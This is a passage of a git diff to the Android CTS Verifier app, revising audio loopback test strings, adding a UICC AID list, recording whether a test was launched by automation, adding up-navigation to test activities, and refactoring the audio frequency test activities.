     <string name="proAudioHDMISupportLbl">HDMI Support:</string>
     <string name="proAudioHasHDMICheckBox">Has HDMI Support</string>
 
-    <string name="audio_proaudio_loopbackbtn">Start Loopback</string>
-    <string name="audio_proaudio_loopbackInfoBtn">Loopback Instructions</string>
     <string name="audio_proaudio_roundtrip">Round-Trip Test</string>
     <string name="audio_proaudio_NA">N/A</string>
     <string name="audio_proaudio_pending">pending...</string>
@@ -4821,15 +4900,23 @@
     <string name="audio_general_default_false_string">false</string>
     <string name="audio_general_default_true_string">true</string>
     <string name="audio_general_warning">Warning</string>
-    <string name="audio_general_ok">Ok</string>
     <string name="audio_general_level_not_max">Audio Level is not maximum. Please check your device
           is set to max level for audio playback.</string>
 
+    <string name="audio_general_no">No</string>
+    <string name="audio_general_yes">Yes</string>
+    <string name="audio_general_info">Info</string>
+    <string name="audio_general_ok">Ok</string>
+
     <!-- Audio Loopback Latency Test -->
-    <string name="audio_loopback_test">Audio Loopback Latency Test</string>
+    <string name="audio_loopback_latency_test">Audio Loopback Latency Test</string>
      <string name="audio_loopback_info">
-          This test requires the Loopback Plug. Please connect a Loopback Plug into the headset
-          connector, and proceed with the instructions on the screen.
+          This test requires some form of audio loopback. This can be either:\n
+          - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>  connected to a 3.5mm headset jack.\n
+          - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>  connected to a USB audio adapter.\n
+          - a USB interface with patch cords connecting the input and output jaccks.
+          Please connect one of these Loopback mechanisms, and proceed with the instructions
+          on the screen.
           The system will measure the input-output audio latency by injecting a pulse on the output,
           and computing the distance between replicas of the pulse.
           You can vary the Audio Level slider to ensure the pulse will feed back at adequate levels.
@@ -5249,11 +5336,13 @@
        This test requires that you have connected a supported USB Audio Peripheral device
        (not a headset) and that peripheral\'s audio outputs are connected to the peripherals\'s
        audio inputs. Alternatively, for devices with an analog audio jack or USB-c Digital
-       to Analog dongle, a Loopback Plug can be used. Also, any if there is an input level
+       to Analog dongle, a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>
+       can be used. Also, if there is an input level
        control on the peripheral, it must be set to a non-zero value. When the test has
        verified support for a valid audio peripheral, press the \"Round-Trip Test\" button
-       to complete the test. Note that it may be necessary to run the latency test more than
-       once to get a sufficient confidence value.
+       to complete the test.
+       The latency measurement is generally accurate even when the volume is low. But you may
+       need to increase the volume to bring the confidence number above the threshold.
     </string>
     <string name="proaudio_hdmi_infotitle">HDMI Support</string>
     <string name="proaudio_hdmi_message">Please connect an HDMI peripheral to validate
@@ -5528,4 +5617,13 @@
     1. All buttons are fully visible \n
     2. All buttons are clickable. \n
     </string>
+
+    <string name="loopback_test_question">Does this device allow for the connection of a loopback audio peripheral?</string>
+    <string name="loopback_dlg_caption">Loopback Peripheral Required</string>
+    <string name="loopback_dlg_text">This test requires an Audio Loopback Peripheral to be connected to the device.\n
+        This can be done in one of three ways:\n
+        1. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to the 3.5mm headset jack.\n
+        2. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to a USB-C headset adapter.\n
+        3. Connect a USB audio interface peripheral and connect the outputs to the inputs with an audio patch cable.
+    </string>
 </resources>
diff --git a/apps/CtsVerifier/res/xml/uicc_transaction_event_aid_list.xml b/apps/CtsVerifier/res/xml/uicc_transaction_event_aid_list.xml
new file mode 100644
index 0000000..91042d1
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/uicc_transaction_event_aid_list.xml
@@ -0,0 +1,11 @@
+<offhost-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:description="@string/UiccTransactionEventService"
+    android:requireDeviceUnlock="false">
+    <aid-group
+        android:category="other"
+        android:description="@string/UiccTransactionEventService" >
+
+        <aid-filter android:name="A000000476416E64726F696443545341"/>
+    </aid-group>
+
+</offhost-apdu-service>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 1505aca..99df613 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -20,7 +20,9 @@
 import android.app.ListActivity;
 import android.content.Intent;
 import android.content.res.Configuration;
+import android.graphics.Rect;
 import android.os.Bundle;
+import android.view.MotionEvent;
 import android.view.View;
 import android.view.Window;
 import android.widget.ListView;
@@ -28,17 +30,26 @@
 /** {@link ListActivity} that displays a list of manual tests. */
 public abstract class AbstractTestListActivity extends ListActivity {
     private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
+    //An invalid value which smaller than the edge of coordinate on the screen.
+    private static final float DEFAULT_CLICKED_COORDINATE = -1;
 
     protected TestListAdapter mAdapter;
-    // Start time of test item.
+    // Start time of test case.
     protected long mStartTime;
-    // End time of test item.
+    // End time of test case.
     protected long mEndTime;
+    // X-axis of clicked coordinate when entering a test case.
+    protected float mCoordinateX;
+    // Y-axis of clicked coordinate when entering a test case.
+    protected float mCoornidateY;
+    // Whether test case was executed through automation.
+    protected boolean mIsAutomated;
 
     protected void setTestListAdapter(TestListAdapter adapter) {
         mAdapter = adapter;
         setListAdapter(mAdapter);
         mAdapter.loadTestResults();
+        setOnTouchListenerToListView();
     }
 
     private Intent getIntent(int position) {
@@ -82,11 +93,16 @@
             }
             TestResult testResult = TestResult.fromActivityResult(resultCode, data);
             testResult.getHistoryCollection().add(
-                testResult.getName(), mStartTime, mEndTime);
+                testResult.getName(), mStartTime, mEndTime, mIsAutomated);
             mAdapter.setTestResult(testResult);
         }
         // Reset end time to avoid keeping same end time in retry.
         mEndTime = 0;
+        // Reset mIsAutomated flag to false
+        mIsAutomated = false;
+        // Reset clicked coordinate.
+        mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+        mCoornidateY = DEFAULT_CLICKED_COORDINATE;
     }
 
     /** Launch the activity when its {@link ListView} item is clicked. */
@@ -94,6 +110,10 @@
     protected final void onListItemClick(ListView listView, View view, int position, long id) {
         super.onListItemClick(listView, view, position, id);
         mStartTime = System.currentTimeMillis();
+        //Check whether the clicked coordinate is consistent with the center of the clicked Object.
+        Rect rect = new Rect();
+        view.getGlobalVisibleRect(rect);
+        mIsAutomated = (mCoordinateX == rect.centerX()) && (mCoornidateY == rect.centerY());
         handleItemClick(listView, view, position, id);
     }
 
@@ -102,4 +122,23 @@
         Intent intent = getIntent(position);
         startActivityForResult(intent, LAUNCH_TEST_REQUEST_CODE);
     }
+
+    /** Set OnTouchListener to ListView to get the clicked Coordinate*/
+    protected void setOnTouchListenerToListView() {
+        getListView().setOnTouchListener(null);
+        getListView().setOnTouchListener(new View.OnTouchListener(){
+            @Override
+            public boolean onTouch(View v, MotionEvent event) {
+                if (event.getAction() == MotionEvent.ACTION_UP) {
+                    mCoordinateX = event.getRawX();
+                    mCoornidateY = event.getRawY();
+                } else {
+                    // Reset clicked coordinate.
+                    mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+                    mCoornidateY = DEFAULT_CLICKED_COORDINATE;
+                }
+                return false;
+            }
+        });
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 7776d27..c8a667b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -35,6 +35,8 @@
 import android.view.View.OnClickListener;
 import android.widget.ImageButton;
 import android.widget.Toast;
+import android.app.ActionBar;
+import android.view.MenuItem;
 
 import java.util.List;
 import java.util.stream.Collectors;
@@ -180,6 +182,25 @@
 
         @Override
         public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            ActionBar actBar = getActionBar();
+            if (actBar != null) {
+                actBar.setDisplayHomeAsUpEnabled(true);
+            }
+        }
+
+        @Override
+        public boolean onOptionsItemSelected(MenuItem item) {
+            if (item.getItemId() == android.R.id.home) {
+                onBackPressed();
+                return true;
+            }
+            return super.onOptionsItemSelected(item);
+        }
+
     }
 
     public static class ListActivity extends android.app.ListActivity implements PassFailActivity {
@@ -234,6 +255,25 @@
 
         @Override
         public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
+
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            ActionBar actBar = getActionBar();
+            if (actBar != null) {
+                actBar.setDisplayHomeAsUpEnabled(true);
+            }
+        }
+
+        @Override
+        public boolean onOptionsItemSelected(MenuItem item) {
+            if (item.getItemId() == android.R.id.home) {
+                onBackPressed();
+                return true;
+            }
+            return super.onOptionsItemSelected(item);
+        }
     }
 
     public static class TestListActivity extends AbstractTestListActivity
@@ -302,6 +342,25 @@
         public void updatePassButton() {
             getPassButton().setEnabled(mAdapter.allTestsPassed());
         }
+
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            ActionBar actBar = getActionBar();
+            if (actBar != null) {
+                actBar.setDisplayHomeAsUpEnabled(true);
+            }
+        }
+
+        @Override
+        public boolean onOptionsItemSelected(MenuItem item) {
+            if (item.getItemId() == android.R.id.home) {
+                onBackPressed();
+                return true;
+            }
+            return super.onOptionsItemSelected(item);
+        }
     }
 
     protected static <T extends android.app.Activity & PassFailActivity>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
index 78751d2..11bcf16 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
@@ -93,7 +93,6 @@
             View footer = getLayoutInflater().inflate(R.layout.test_list_footer, null);
 
             footer.findViewById(R.id.clear).setOnClickListener(this);
-            footer.findViewById(R.id.view).setOnClickListener(this);
             footer.findViewById(R.id.export).setOnClickListener(this);
 
             getListView().addFooterView(footer);
@@ -145,13 +144,6 @@
             .show();
     }
 
-    private void handleViewItemSelected() {
-        TestResultsReport report = new TestResultsReport(this, mAdapter);
-        Intent intent = new Intent(this, ReportViewerActivity.class);
-        intent.putExtra(ReportViewerActivity.EXTRA_REPORT_CONTENTS, report.getContents());
-        startActivity(intent);
-    }
-
     private void handleExportItemSelected() {
         new ReportExporter(this, mAdapter).execute();
     }
@@ -159,8 +151,6 @@
     private boolean handleMenuItemSelected(int id) {
         if (id == R.id.clear) {
             handleClearItemSelected();
-        } else if (id == R.id.view) {
-            handleViewItemSelected();
         } else if (id == R.id.export) {
             handleExportItemSelected();
         } else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
index 0e7160c..f92d233 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
@@ -3,7 +3,6 @@
 import com.android.compatibility.common.util.TestResultHistory;
 
 import java.io.Serializable;
-import java.util.AbstractMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
@@ -11,6 +10,7 @@
 
 public class TestResultHistoryCollection implements Serializable {
 
+    private static final long serialVersionUID = 0L;
     private final Set<TestResultHistory> mHistoryCollection = new HashSet<>();
 
     /**
@@ -23,30 +23,32 @@
     }
 
     /**
-     * Add a test result history with test name, start time and end time.
+     * Add a test result history with test name, start time, end time and isAutomated.
      *
      * @param test a string of test name.
      * @param start start time of a test.
      * @param end end time of a test.
+     * @param isAutomated whether test case was executed through automation.
      */
-    public void add(String test, long start, long end) {
-        Set<Map.Entry> duration = new HashSet<>();
-        duration.add(new AbstractMap.SimpleEntry<>(start, end));
-        mHistoryCollection.add(new TestResultHistory(test, duration));
+    public void add(String test, long start, long end, boolean isAutomated) {
+        Set<TestResultHistory.ExecutionRecord> executionRecords
+                = new HashSet<TestResultHistory.ExecutionRecord> ();
+        executionRecords.add(new TestResultHistory.ExecutionRecord(start, end, isAutomated));
+        mHistoryCollection.add(new TestResultHistory(test, executionRecords));
     }
 
     /**
-     * Add test result histories for tests containing test name and a set of execution time.
+     * Add test result histories for tests containing test name and a set of ExecutionRecords
      *
      * @param test test name.
-     * @param durations set of start and end time.
+     * @param executionRecords set of ExecutionRecords.
      */
-    public void addAll(String test, Set<Map.Entry> durations) {
-        TestResultHistory history = new TestResultHistory(test, durations);
+    public void addAll(String test, Set<TestResultHistory.ExecutionRecord> executionRecords) {
+        TestResultHistory history = new TestResultHistory(test, executionRecords);
         boolean match = false;
         for (TestResultHistory resultHistory: mHistoryCollection) {
             if (resultHistory.getTestName().equals(test)) {
-                resultHistory.getDurations().addAll(durations);
+                resultHistory.getExecutionRecords().addAll(executionRecords);
                 match = true;
                 break;
             }
@@ -63,10 +65,12 @@
      * @param resultHistoryCollection a set of test result histories.
      */
     public void merge(String prefix, TestResultHistoryCollection resultHistoryCollection) {
-       if (resultHistoryCollection != null) {
+        if (resultHistoryCollection != null) {
             resultHistoryCollection.asSet().forEach(t-> addAll(
-                prefix != null ? prefix + ":" + t.getTestName() : t.getTestName(), t.getDurations()));
-       }
+                prefix != null
+                        ? prefix + ":" + t.getTestName()
+                        : t.getTestName(), t.getExecutionRecords()));
+        }
     }
 
     /**
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
index ffc5f41..d3af563 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
@@ -27,33 +27,46 @@
 import android.content.Context;
 import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
 import android.media.AudioManager;
-import android.media.AudioTrack;
-import android.media.AudioRecord;
-import android.media.MediaRecorder;
 import android.os.Bundle;
 import android.os.Handler;
-import android.os.Message;
-import android.os.SystemClock;
 import android.util.Log;
 import android.view.View;
 import android.view.View.OnClickListener;
-import android.widget.Button;
-import android.widget.TextView;
-import android.widget.SeekBar;
+import android.view.ViewGroup;
 import android.widget.LinearLayout;
-import android.widget.ProgressBar;
 
 /**
  * Audio Frequency Test base activity
  */
 public class AudioFrequencyActivity extends PassFailButtons.Activity {
     private static final String TAG = "AudioFrequencyActivity";
+    private static final boolean DEBUG = true;
+
+    protected Context mContext;
+    protected AudioManager mAudioManager;
+
+    protected AudioDeviceInfo mOutputDevInfo;
+    protected AudioDeviceInfo mInputDevInfo;
 
     public int mMaxLevel = 0;
 
+    //
+    // TODO - These should be refactored into a RefMicActivity class
+    // i.e. AudioFrequencyActivity <- RefMicActivity
     private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mContext = this;
+
+        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
+        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+    }
+
     //
     // Common UI Handling
     protected void connectRefMicUI() {
@@ -112,20 +125,24 @@
 
     }
 
+    void enableLayout(int layoutId, boolean enable) {
+        ViewGroup group = (ViewGroup)findViewById(layoutId);
+        for (int i = 0; i < group.getChildCount(); i++) {
+            group.getChildAt(i).setEnabled(enable);
+        }
+    }
+
     public void setMaxLevel() {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        mMaxLevel = am.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-        am.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(mMaxLevel), 0);
+        mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+        mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(mMaxLevel), 0);
     }
 
     public void setMinLevel() {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        am.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0);
+        mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0);
     }
 
     public void testMaxLevel() {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        int currentLevel = am.getStreamVolume(AudioManager.STREAM_MUSIC);
+        int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
         Log.i(TAG, String.format("Max level: %d curLevel: %d", mMaxLevel, currentLevel));
         if (currentLevel != mMaxLevel) {
             new AlertDialog.Builder(this)
@@ -137,30 +154,19 @@
     }
 
     public int getMaxLevelForStream(int streamType) {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        if (am != null) {
-            return am.getStreamMaxVolume(streamType);
-        }
-        return -1;
+        return mAudioManager.getStreamMaxVolume(streamType);
     }
 
     public void setLevelForStream(int streamType, int level) {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        if (am != null) {
-            try {
-                am.setStreamVolume(streamType, level, 0);
-            } catch (Exception e) {
-                Log.e(TAG, "Error setting stream volume: ", e);
-            }
+        try {
+            mAudioManager.setStreamVolume(streamType, level, 0);
+        } catch (Exception e) {
+            Log.e(TAG, "Error setting stream volume: ", e);
         }
     }
 
     public int getLevelForStream(int streamType) {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        if (am != null) {
-            return am.getStreamVolume(streamType);
-        }
-        return -1;
+        return mAudioManager.getStreamVolume(streamType);
     }
 
     public void enableUILayout(LinearLayout layout, boolean enable) {
@@ -170,4 +176,47 @@
         }
     }
 
+    private void scanPeripheralList(AudioDeviceInfo[] devices) {
+        // Can't just use the first record because then we will only get
+        // Source OR sink, not both even on devices that are both.
+        mOutputDevInfo = null;
+        mInputDevInfo = null;
+
+        // Any valid peripherals
+        for(AudioDeviceInfo devInfo : devices) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
+                    devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
+                if (devInfo.isSink()) {
+                    mOutputDevInfo = devInfo;
+                }
+                if (devInfo.isSource()) {
+                    mInputDevInfo = devInfo;
+                }
+            }
+        }
+
+    }
+
+    private class ConnectListener extends AudioDeviceCallback {
+        /*package*/ ConnectListener() {}
+
+        //
+        // AudioDevicesManager.OnDeviceConnectionListener
+        //
+        @Override
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            // Log.i(TAG, "onAudioDevicesAdded() num:" + addedDevices.length);
+
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+
+        @Override
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            // Log.i(TAG, "onAudioDevicesRemoved() num:" + removedDevices.length);
+
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+    }
+
+//    abstract public void updateConnectStatus();
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
index 944f7bf..1ee118d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
@@ -16,20 +16,13 @@
 
 package com.android.cts.verifier.audio;
 
-import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.audio.wavelib.*;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 
-import android.app.AlertDialog;
-import android.content.Context;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
 import android.media.AudioRecord;
 import android.media.MediaRecorder;
 import android.os.Bundle;
@@ -41,8 +34,6 @@
 import android.view.View.OnClickListener;
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
 import android.widget.ProgressBar;
 
 /**
@@ -59,13 +50,11 @@
     static final double MIN_FRACTION_POINTS_IN_BAND = 0.3;
 
     OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    Context mContext;
 
     Button mHeadsetPortYes;
     Button mHeadsetPortNo;
 
     Button mLoopbackPlugReady;
-    LinearLayout mLinearLayout;
     Button mTestButton;
     TextView mResultText;
     ProgressBar mProgressBar;
@@ -109,7 +98,7 @@
                 case R.id.audio_frequency_line_plug_ready_btn:
                     Log.i(TAG, "audio loopback plug ready");
                     //enable all the other views.
-                    enableLayout(true);
+                    enableLayout(R.id.audio_frequency_line_layout,true);
                     setMaxLevel();
                     testMaxLevel();
                     break;
@@ -140,8 +129,6 @@
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_line_activity);
 
-        mContext = this;
-
         mHeadsetPortYes = (Button)findViewById(R.id.audio_general_headset_yes);
         mHeadsetPortYes.setOnClickListener(mBtnClickListener);
         mHeadsetPortNo = (Button)findViewById(R.id.audio_general_headset_no);
@@ -150,16 +137,15 @@
         mLoopbackPlugReady = (Button)findViewById(R.id.audio_frequency_line_plug_ready_btn);
         mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
         mLoopbackPlugReady.setEnabled(false);
-        mLinearLayout = (LinearLayout)findViewById(R.id.audio_frequency_line_layout);
         mTestButton = (Button)findViewById(R.id.audio_frequency_line_test_btn);
         mTestButton.setOnClickListener(mBtnClickListener);
         mResultText = (TextView)findViewById(R.id.audio_frequency_line_results_text);
         mProgressBar = (ProgressBar)findViewById(R.id.audio_frequency_line_progress_bar);
         showWait(false);
-        enableLayout(false);         //disabled all content
+        enableLayout(R.id.audio_frequency_line_layout, false);         //disabled all content
 
         mSPlayer = new SoundPlayerObject();
-        mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.stereo_mono_white_noise_48);
+        mSPlayer.setSoundWithResId(mContext, R.raw.stereo_mono_white_noise_48);
         mSPlayer.setBalance(0.5f);
 
         //Init FFT stuff
@@ -200,16 +186,6 @@
     }
 
     /**
-     * enable test ui elements
-     */
-    private void enableLayout(boolean enable) {
-        for (int i = 0; i < mLinearLayout.getChildCount(); i++) {
-            View view = mLinearLayout.getChildAt(i);
-            view.setEnabled(enable);
-        }
-    }
-
-    /**
      * show active progress bar
      */
     private void showWait(boolean show) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
index e296f86..db691b6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
@@ -16,23 +16,18 @@
 
 package com.android.cts.verifier.audio;
 
-import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
 import com.android.cts.verifier.audio.wavelib.*;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
 
 import android.content.BroadcastReceiver;
 import android.content.Intent;
 import android.content.IntentFilter;
 
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
-import android.media.AudioManager;
 import android.media.AudioTrack;
 import android.media.AudioRecord;
 import android.media.MediaRecorder;
@@ -49,8 +44,6 @@
 
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
 import android.widget.ProgressBar;
 
 /**
@@ -85,21 +78,14 @@
     private static final int TEST_DURATION_USB_NOISE = TEST_DURATION_DEFAULT;
 
     final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    Context mContext;
 
-    LinearLayout mLayoutTestNoise;
-    Button mButtonTestNoise;
     ProgressBar mProgressNoise;
     TextView mResultTestNoise;
     Button mButtonPlayNoise;
 
-    LinearLayout mLayoutTestUsbBackground;
-    Button mButtonTestUsbBackground;
     ProgressBar mProgressUsbBackground;
     TextView mResultTestUsbBackground;
 
-    LinearLayout mLayoutTestUsbNoise;
-    Button mButtonTestUsbNoise;
     ProgressBar mProgressUsbNoise;
     TextView mResultTestUsbNoise;
     Button mButtonPlayUsbNoise;
@@ -141,33 +127,25 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_mic_activity);
-        mContext = this;
 
         //Test Noise
-        mLayoutTestNoise = (LinearLayout) findViewById(R.id.frequency_mic_layout_test_noise);
-        mButtonTestNoise = (Button) findViewById(R.id.frequency_mic_test_noise_btn);
-        mButtonTestNoise.setOnClickListener(mBtnClickListener);
+        findViewById(R.id.frequency_mic_test_noise_btn).setOnClickListener(mBtnClickListener);
         mProgressNoise = (ProgressBar) findViewById(R.id.frequency_mic_test_noise_progress_bar);
         mResultTestNoise = (TextView) findViewById(R.id.frequency_mic_test_noise_result);
         mButtonPlayNoise = (Button) findViewById(R.id.frequency_mic_play_noise_btn);
         mButtonPlayNoise.setOnClickListener(mBtnClickListener);
         showWait(mProgressNoise, false);
 
-      //USB Background
-        mLayoutTestUsbBackground = (LinearLayout)
-                findViewById(R.id.frequency_mic_layout_test_usb_background);
-        mButtonTestUsbBackground = (Button)
-                findViewById(R.id.frequency_mic_test_usb_background_btn);
-        mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
+        //USB Background
+        findViewById(R.id.frequency_mic_test_usb_background_btn).
+                setOnClickListener(mBtnClickListener);
         mProgressUsbBackground = (ProgressBar)
                 findViewById(R.id.frequency_mic_test_usb_background_progress_bar);
         mResultTestUsbBackground = (TextView)
                 findViewById(R.id.frequency_mic_test_usb_background_result);
         showWait(mProgressUsbBackground, false);
 
-        mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.frequency_mic_layout_test_usb_noise);
-        mButtonTestUsbNoise = (Button) findViewById(R.id.frequency_mic_test_usb_noise_btn);
-        mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
+        findViewById(R.id.frequency_mic_test_usb_noise_btn).setOnClickListener(mBtnClickListener);
         mProgressUsbNoise = (ProgressBar)
                 findViewById(R.id.frequency_mic_test_usb_noise_progress_bar);
         mResultTestUsbNoise = (TextView) findViewById(R.id.frequency_mic_test_usb_noise_result);
@@ -178,7 +156,7 @@
         mGlobalResultText = (TextView) findViewById(R.id.frequency_mic_test_global_result);
 
         mSPlayer = new SoundPlayerObject();
-        mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.stereo_mono_white_noise_48);
+        mSPlayer.setSoundWithResId(mContext, R.raw.stereo_mono_white_noise_48);
         mSPlayer.setBalance(0.5f);
 
         //Init FFT stuff
@@ -245,13 +223,13 @@
     // Overrides
     //
     void enableTestUI(boolean enable) {
-        mButtonTestNoise.setEnabled(enable);
-        mButtonPlayNoise.setEnabled(enable);
+        enableLayout(R.id.frequency_mic_layout_test_noise_dut_buttons, enable);
+        enableLayout(R.id.frequency_mic_layout_test_noise_src_buttons, enable);
 
-        mButtonTestUsbBackground.setEnabled(enable);
+        enableLayout(R.id.frequency_mic_layout_test_usb_background_dut_buttons, enable);
 
-        mButtonTestUsbNoise.setEnabled(enable);
-        mButtonPlayUsbNoise.setEnabled(enable);
+        enableLayout(R.id.frequency_mic_layout_test_usb_noise_dut_buttons, enable);
+        enableLayout(R.id.frequency_mic_layout_test_usb_noise_src_buttons, enable);
     }
 
     private void playerToggleButton(int buttonId) {
@@ -314,16 +292,6 @@
         }
     }
 
-    /**
-     * enable test ui elements
-     */
-    private void enableLayout(LinearLayout layout, boolean enable) {
-        for (int i = 0; i < layout.getChildCount(); i++) {
-            View view = layout.getChildAt(i);
-            view.setEnabled(enable);
-        }
-    }
-
     private void showWait(ProgressBar pb, boolean show) {
         if (show) {
             pb.setVisibility(View.VISIBLE);
@@ -465,7 +433,7 @@
             mCurrentTest = mTestId;
             sendMessage(mTestId, TEST_STARTED,"");
             mUsbMicConnected =
-                    UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+                    UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
         };
         public void record(int durationMs) {
             startRecording();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
index f954b0c..968d343 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
@@ -16,22 +16,16 @@
 
 package com.android.cts.verifier.audio;
 
-import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.audio.wavelib.*;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
 import android.content.BroadcastReceiver;
 import android.content.Intent;
 import android.content.IntentFilter;
 
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
 import android.media.AudioRecord;
 import android.media.MediaRecorder;
 
